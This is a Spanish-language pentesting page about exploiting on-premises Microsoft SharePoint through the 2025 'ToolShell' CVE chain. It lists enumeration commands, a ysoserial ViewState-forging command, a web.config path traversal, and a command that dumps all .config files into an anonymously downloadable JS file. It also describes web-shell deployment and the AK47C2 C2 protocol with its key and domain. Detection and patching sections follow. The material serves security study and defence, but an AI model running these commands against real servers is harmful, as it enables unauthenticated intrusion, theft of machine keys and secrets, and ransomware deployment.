# Microsoft SharePoint – Pentesting & Exploitation {{#include ../../banners/hacktricks-training.md}} > Microsoft SharePoint (local) está construido sobre ASP.NET/IIS. La mayoría de la superficie de ataque web clásica (ViewState, Web.Config, shells web, etc.) está presente, pero SharePoint también incluye cientos de páginas ASPX y servicios web propietarios que amplían drásticamente la superficie de ataque expuesta. Esta página recopila trucos prácticos para enumerar, explotar y persistir dentro de entornos de SharePoint con énfasis en la cadena de explotación 2025 divulgada por Unit42 (CVE-2025-49704/49706/53770/53771). ## 1. Quick enumeration ``` # favicon hash and keywords curl -s https:///_layouts/15/images/SharePointHome.png curl -s https:///_vti_bin/client.svc | file - # returns WCF/XSI # version leakage (often in JS) curl -s https:///_layouts/15/init.js | grep -i "spPageContextInfo" # interesting standard paths /_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain /_vti_bin/Lists.asmx # legacy SOAP service /_catalogs/masterpage/Forms/AllItems.aspx # enumerate sites & site-collections (requires at least Anonymous) python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// ``` ## 2. 2025 cadena de explotación (a.k.a. “ToolShell”) ### 2.1 CVE-2025-49704 – Inyección de Código en ToolPane.aspx `/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` permite que se inyecte código arbitrario de *Server-Side Include* en la página, que luego es compilado por ASP.NET. Un atacante puede incrustar C# que ejecuta `Process.Start()` y dejar caer un ViewState malicioso. ### 2.2 CVE-2025-49706 – Bypass de Autenticación Inadecuado La misma página confía en el encabezado **X-Forms_BaseUrl** para determinar el contexto del sitio. Al apuntarlo a `/_layouts/15/`, se puede eludir la MFA/SSO impuesta en el sitio raíz **sin autenticar**. ### 2.3 CVE-2025-53770 – Deserialización de ViewState No Autenticada → RCE Una vez que el atacante controla un gadget en `ToolPane.aspx`, puede publicar un valor `__VIEWSTATE` **no firmado** (o solo con MAC) que activa la deserialización de .NET dentro de *w3wp.exe*, lo que lleva a la ejecución de código. Si la firma está habilitada, roba la **ValidationKey/DecryptionKey** de cualquier `web.config` (ver 2.4) y forja la carga útil con *ysoserial.net* o *ysodom*: ``` ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | ViewStateGenerator.exe --validation-key --decryption-key -o payload.txt ``` Para una explicación detallada sobre el abuso de ASP.NET ViewState, lee: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}} ### 2.4 CVE-2025-53771 – Traversal de ruta / Divulgación de web.config Enviar un parámetro `Source` manipulado a `ToolPane.aspx` (por ejemplo, `../../../../web.config`) devuelve el archivo objetivo, permitiendo la filtración de: * `` ➜ forjar ViewState / cookies ASPXAUTH * cadenas de conexión y secretos. ## 3. Recetas de post-explotación observadas en la naturaleza ### 3.1 Exfiltrar cada archivo *.config* (variación-1) ``` cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" ``` El `debug_dev.js` resultante se puede descargar de forma anónima y contiene **toda** la configuración sensible. ### 3.2 Desplegar un shell web ASPX codificado en Base64 (variación-2) ``` powershell.exe -EncodedCommand ``` Ejemplo de carga útil decodificada (abreviado): ```csharp <%@ Page Language="C#" %> <%@ Import Namespace="System.Security.Cryptography" %> ``` Escrito para: ``` C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx ``` La shell expone puntos finales para **leer / rotar claves de máquina** que permiten forjar cookies ViewState y ASPXAUTH a través de la granja. ### 3.3 Variante ofuscada (variación-3) La misma shell pero: * colocada en `...\15\TEMPLATE\LAYOUTS\` * nombres de variables reducidos a letras individuales * `Thread.Sleep()` añadido para evasión de sandbox y bypass de AV basado en tiempo. ### 3.4 AK47C2 puerta trasera multiprotocolo y ransomware X2ANYLOCK (observado 2025-2026) Investigaciones recientes de respuesta a incidentes (Unit42 “Proyecto AK47”) muestran cómo los atacantes aprovechan la cadena ToolShell **después de RCE inicial** para desplegar un implante C2 de doble canal y ransomware en entornos de SharePoint: #### AK47C2 – variante `dnsclient` * Servidor DNS codificado: `10.7.66.10` comunicándose con el dominio autoritativo `update.updatemicfosoft.com`. * Los mensajes son objetos JSON encriptados con XOR con la clave estática `VHBD@H`, codificados en hex y embebidos como **etiquetas de subdominio**. ```json {"cmd":"","cmd_id":""} ``` * Consultas largas son fragmentadas y prefijadas con `s`, luego reensambladas del lado del servidor. * El servidor responde en registros TXT que llevan el mismo esquema XOR/hex: ```json {"cmd":"","cmd_id":"","type":"result","fqdn":"","result":""} ``` * La versión 202504 introdujo un formato simplificado `::` y marcadores de fragmento `1`, `2`, `a`. #### AK47C2 – variante `httpclient` * Reutiliza la misma rutina JSON & XOR pero envía el blob hex en el **cuerpo HTTP POST** a través de `libcurl` (`CURLOPT_POSTFIELDS`, etc.). * El mismo flujo de trabajo de tarea/resultado permite: * Ejecución arbitraria de comandos de shell. * Intervalo de sueño dinámico e instrucciones de kill-switch. #### Ransomware X2ANYLOCK * Carga útil de C++ de 64 bits cargada a través de side-loading de DLL (ver abajo). * Emplea AES-CBC para datos de archivos + RSA-2048 para envolver la clave AES, luego añade la extensión `.x2anylock`. * Encripta recursivamente unidades locales y recursos compartidos SMB descubiertos; omite rutas del sistema. * Deja una nota en texto claro `How to decrypt my data.txt` embebiendo un **Tox ID** estático para negociaciones. * Contiene un **kill-switch** interno: ```c if (file_mod_time >= "2026-06-06") exit(0); ``` #### Cadena de side-loading de DLL 1. El atacante escribe `dllhijacked.dll`/`My7zdllhijacked.dll` junto a un legítimo `7z.exe`. 2. `w3wp.exe` generado por SharePoint lanza `7z.exe`, que carga la DLL maliciosa debido al orden de búsqueda de Windows, invocando el punto de entrada del ransomware en memoria. 3. Se observó un cargador LockBit separado (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) que desencripta el shell-code y realiza **DLL hollowing** en `d3dl1.dll` para ejecutar LockBit 3.0. > [!INFO] > El mismo Tox ID estático encontrado en X2ANYLOCK aparece en bases de datos filtradas de LockBit, sugiriendo superposición de afiliados. --- ## 4. Ideas de detección | Telemetría | Por qué es sospechoso | |-----------|----------------------| | `w3wp.exe → cmd.exe` | El proceso de trabajo rara vez debería generar shell | | `cmd.exe → powershell.exe -EncodedCommand` | Patrón clásico de lolbin | | Eventos de archivo creando `debug_dev.js` o `spinstall0.aspx` | IOCs directamente de ToolShell | | `ProcessCmdLine CONTIENE ToolPane.aspx` (registros ETW/Módulo) | PoCs públicas invocan esta página | Ejemplo de regla XDR / Sysmon (pseudo-XQL): ``` proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe") ``` ## 5. Endurecimiento y Mitigación 1. **Parchar** – Las actualizaciones de seguridad de julio de 2025 corrigen *todas* las cuatro CVEs. 2. **Rotar** cada `` y secretos de `ViewState` después de un compromiso. 3. Eliminar el permiso de escritura de *LAYOUTS* de los grupos `WSS_WPG` y `WSS_ADMIN_WPG`. 4. Bloquear el acceso externo a `/_layouts/15/ToolPane.aspx` a nivel de proxy/WAF. 5. Habilitar **ViewStateUserKey**, **MAC habilitado**, y *EventValidation* personalizado. ## Trucos relacionados * IIS post-explotación y abuso de web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}} ## Referencias - [Unit42 – Explotación activa de vulnerabilidades de Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) - [GitHub PoC – Cadena de explotación ToolShell](https://github.com/real-or-not/ToolShell) - [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) - [Unit42 – Proyecto AK47 / Explotación de SharePoint y actividad de ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/) - [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) {{#include ../../banners/hacktricks-training.md}}